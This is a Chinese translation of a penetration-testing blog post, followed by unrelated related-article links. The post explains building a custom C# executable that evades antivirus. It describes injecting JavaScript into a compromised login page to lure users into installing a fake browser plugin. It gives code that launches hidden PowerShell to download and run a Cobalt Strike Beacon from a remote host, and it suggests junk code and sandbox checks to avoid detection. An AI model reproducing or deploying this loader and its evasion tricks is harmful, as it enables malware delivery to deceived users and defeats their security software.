在进行渗透测试的过程中,我们有时候会希望使用可执行文件来完成某些任务。最近,我们在测试过程中拿下了一个网站,从而获得了一次发动水坑攻击的机会。

原文地址:https://www.peew.pw/blog/2017/11 … bles-for-pentesters


背景

于是, 我们将JavaScript嵌入网站的登录页面,提醒用户当前的应用程序需要安装一个浏览器插件才能正常使用,然后诱骗用户下载相应的“插件”。最初的时候,我们尝试利用一个HTA文件在用户的系统上执行PowerShell命令,以便建立一个连接我们的服务器(Cobalt

Strike)的C2通道。但由于某种原因,这种方法在我们的目标系统上面无法正常使用。后来,我们在自己的多个系统上对这种攻击方法进行了尝试,结果一切正常,所以我们不知道HTA是被某些东西拦截了,还是引起了用户的怀疑,或者用户被HTA文件给搞糊涂了。不过不用担心,我们只要把HTA换成了一个定制的exe文件,我们的成功率就能超过50%。

然而,exe文件(也称为可移植可执行文件,也就是PE,因为它包含了由Windows运行所需的全部信息)的问题在于,它通常情况下必须写入磁盘,但是这样一来,它就很容易被AV软件发现。我们知道,各种红队工具(从Metasploit到Cobalt

Strike)都能够生成一个通过C2通道反向连接攻击者机器的exe文件。虽然这些文件每个都不尽相同(这样就能确保具有不同的哈希值),但是,它们却很难逃过AV的法眼。

VirusTotal对Cobalt Strike默认的Beacon有效载荷的分析结果。

实际上,有许多工具可以将这些PE文件封装成不同的代码,以使其看起来跟原来不一样,从而逃避各种安全检测,这些工具包括之前非常流行的Veil-Evasion。 尽管Veil为攻击者提供了很多选项,但防御工具也对这种可执行文件封装器的路数了如指掌。

编写定制的PE文件绕过安全检测

事实证明,即使没有非常尖端的工具、先进的加密技术或0-day漏洞利用代码,也照样可以绕过99%的防御性产品。为此,只需要创建一些自定义的东西——那些安全软件从来没有见过的东西。这时候,编写定制的PE文件就派得上用场了。 我们将使用Visual Studio编写一个.NET可执行文件,让它来执行我们需要的命令。

首先,让我们启动Visual Studio并创建一个新项目。这里,我们可以使用“Windows Forms App (.NET Framework)”模板。

在Visual Studio中新建一个项目。

由于只是创建一个可以静默运行的可执行文件(无窗口),所以,我们可以删除Visual Studio创建的“Form1.cs”以及Program.cs中Main函数的内容。 如果你想为恶意软件创建一个更合理的前端视图,你可以保留这个表单,创建更加有用的外观。

删除系统为我们生成的表单后的项目。

接下来,我们将为读者介绍如何通过C#应用程序来启动一个程序。这里,我们将以PowerShell为例进行介绍。

(在以后的文章中,我们将介绍如何直接从C#程序加载代码,而无需启动另一个进程)

这里将使用System.Diagnostics.Process类来设置和启动我们的新进程。同时,这里将powershell.exe设置为我们的进程,并向其传递一个要执行的命令。 在这个例子中,我们会让PowerShell“沉睡”10秒,以便留出足够的时间来观察其中的运作机制。

static void Main()

{

Process process = new Process();

process.StartInfo.FileName = "powershell.exe";

process.StartInfo.Arguments = "-c "Start-Sleep -s 10"";

process.Start();

}

当运行该程序(点击顶部菜单中的“Start”按钮或按F5)的时候,您应该会看到一个PowerShell窗口停留10秒钟,然后关闭。你会注意到,最初的C#进程一旦启动PowerShell,它自己就会马上退出;它不会等待PowerShell进程退出。

为了观察PowerShell进程的行为表现,需要将窗口设置为隐藏状态。为此,可以直接使用ProcessStartInfo类,而不必在PowerShell中使用“-w hidden”参数,因为后一种做法常常会引起安全软件的怀疑。

process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

我们还可以将前面的sleep命令换成一个下载并执行指定有效载荷(例如Cobalt Strike的Beacon)的PowerShell命令。显然,我们需要设置好相应的有效载荷和监听器。

process.StartInfo.Arguments = "-c "IEX ((new-object net.webclient).downloadstring('http://10.7.254.230/beacon.ps1'))""

现在,终于到了exe文件出场的时候了。如果您已经通过了代码的最终版本,那么该exe文件将位于projectnamebinDebugprojectname.exe下的项目文件夹中。 如果你不想在自己的系统上运行有效载荷,你可以选择Build>Build Solution菜单项或者按F6来构建一个新的exe版本,而无需真正执行这个程序。

让我们看看效果到底是如何!

最后的效果

VirusTotal对我们定制的可执行文件的分析结果。

不错!

它看起来一切正常!

通过运行我们的自定义可执行文件获得的Beacon

下一步

很明显,五行自定义代码并不是一个长久的解决方案。我毫不怀疑,其他人也会发现这个方法非常有用,随着使用这种方法的人越来越多,这种方法也会渐渐被AV所察觉。然而,我们自己编写可执行文件的好处是,我们可以自定义程序的核心,并且可以随时随地进行大刀阔斧的修改。毕竟,通过添加无关的函数来隐藏代码是很容易的事情,无论是计算pi还是对列表进行排序的代码,都可以达到同样的效果。

我们也可以通过其他.NET函数来加强我们的程序。例如,如果我们知道目标系统的域名,我们可以在启动PowerShell进程之前检查该域名,以避免陷入沙箱。

很明显,我们在这里仍然调用了PowerShell,所以任何与此相关的日志或警报仍然适用。理想情况下,我们不会调用我们定制的可执行文件之外的任何程序。

下一个重要步骤是将有效载荷的所有内容都放入在可执行文件中。这里需要涉及许多方面,从在本地机器上托管PowerShell代码,到通过命令完成下载和执行,以及将shell代码加载到内存中。

猜你喜欢:利用Python CGIHTTPServer绕过CSRF令牌

手把手教渗透测试人员打造.NET可执行文件的更多相关文章

  1. 专为渗透测试人员设计的 Python 工具大合集

    如果你对漏洞挖掘.逆向工程分析或渗透测试感兴趣的话,我第一个要推荐给你的就是Python编程语言.Python不仅语法简单上手容易,而且它还有大量功能强大的库和程序可供我们使用.在这篇文章中,我们会给 ...

  2. 手把手教你用python打造网易公开课视频下载软件3-对抓取的数据进行处理

    上篇讲到抓取的数据保存到rawhtml变量中,然后通过编码最终保存到html变量当中,那么html变量还会有什么问题吗?当然会有了,例如可能html变量中的保存的抓取的页面源代码可能有些标签没有关闭标 ...

  3. 手把手教你用python打造网易公开课视频下载软件2-编码相关说明

    函数getdownLoadInfo(url)主要实现核心功能:根据url地址,获取课程信息:课程名(courseTitle),课程数目(courseCount),可下载视频数目(videoCount) ...

  4. 手把手教你用python打造网易公开课视频下载软件5-python生成exe程序

    python程序生成exe文件,使用的是py2exe扩展包,下面写下具体的步骤: 第一步:新建conver2exe.py,内容如下: #coding:utf-8 from distutils.core ...

  5. 手把手教你用python打造网易公开课视频下载软件4-图形化界面

    上一篇讲解完函数:def getdownLoadInfo (url): 传入公开课的url地址,就可以提取课程的信息,这一篇讲解一下如何编写图像化界面.大概思考一下图像化界面需要的内容: (1)一个标 ...

  6. 手把手教你用python打造网易公开课视频下载软件1-总述

    写作前面的话:最近准备重温一下算法导论,感谢大网易把MIT算法导论课程全部贴出来,地址为:http://v.163.com/special/opencourse/algorithms.html,在线看 ...

  7. 渗透测试工程师认证 | CISP-PTE证书含金量

    注册渗透测试工程师(CISP-PTE)认证是由中国信息安全测评中心针对攻防专业领域实施的资质培训, 是国内唯一针对网络安全渗透测试专业人才的资格认证,是目前国内最为主流及被业界认可的专业攻防领域的资质 ...

  8. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  9. 全球著名的渗透测试Linux简介

    注:如发现链接无法打开,请尝试代理登录链接 1. Kali Linux Kali Linux是基于Debian的Linux发行版, 设计用于数字取证和渗透测试.由Offensive Security ...

随机推荐

  1. 迷你MVVM框架 avalonjs 学习教程1、引入avalon

    avalon是国内最强大的MVVM框架,没有之一,虽然淘宝KISSY团队也搞了两个MVVM框架,但都无疾而终.其他的MVVM框架都没几个.也只有外国人与像我这样闲的架构师才有时间钻研这东西.我很早之前 ...

  2. Davinci-DM6467板子-外围器件的I2C地址的疑惑解答

    这篇文即调试标清视频或者说调试TVP5147和ADV7343所使用的程序名称为video_sd_playback_480i_composite 我们用的是合众达公司(SEED)的SEED-DVSD64 ...

  3. spring security+cas(cas proxy配置)

    什么时候会用到代理proxy模式? 举一个例子:有两个应用App1和App2,它们都是受Cas服务器保护的,即请求它们时都需要通过Cas 服务器的认证.现在需要在App1中通过Http请求访问App2 ...

  4. 39. Combination Sum (Back-Track)

    Given a set of candidate numbers (C) and a target number (T), find all unique combinations in C wher ...

  5. Homestead window10 storage:link 不能建立符号链接的处理办法

    重启电脑 1. 以管理员身份运行 cmd 2. vagrant up 3. vagrant ssh 4. php artisan storage:link

  6. cmake 及make 实践记录

    DEBIAN操作系统 预备操作: 安装 gcc g++ make cmake 开启Terminal 切换到超级用户 下载安装上述软件 A@debian:~$ su Password: root@deb ...

  7. linux网络编程模型

    1.编程模型 Linux网络编程模型是基于socket的编程模型

  8. 如何让多个android listview同时使用一个滚动条

    如何让多个android listview同时使用一个滚动条 重新设置ListView的高度 /** * 设置listview高度,注意listview子项必须为LinearLayout才能调用该方法 ...

  9. 数据挖掘分类算法之决策树(zz)

    决策树(Decision tree) 决策树是以实例为基础的归纳学习算法.     它从一组无次序.无规则的元组中推理出决策树表示形式的分类规则.它采用自顶向下的递归方式,在决策树的内部结点进行属性值 ...

  10. 利用JS判断浏览器版本

    function checkBrowser() { var browserName = navigator.userAgent.toLowerCase(); //var ua = navigator. ...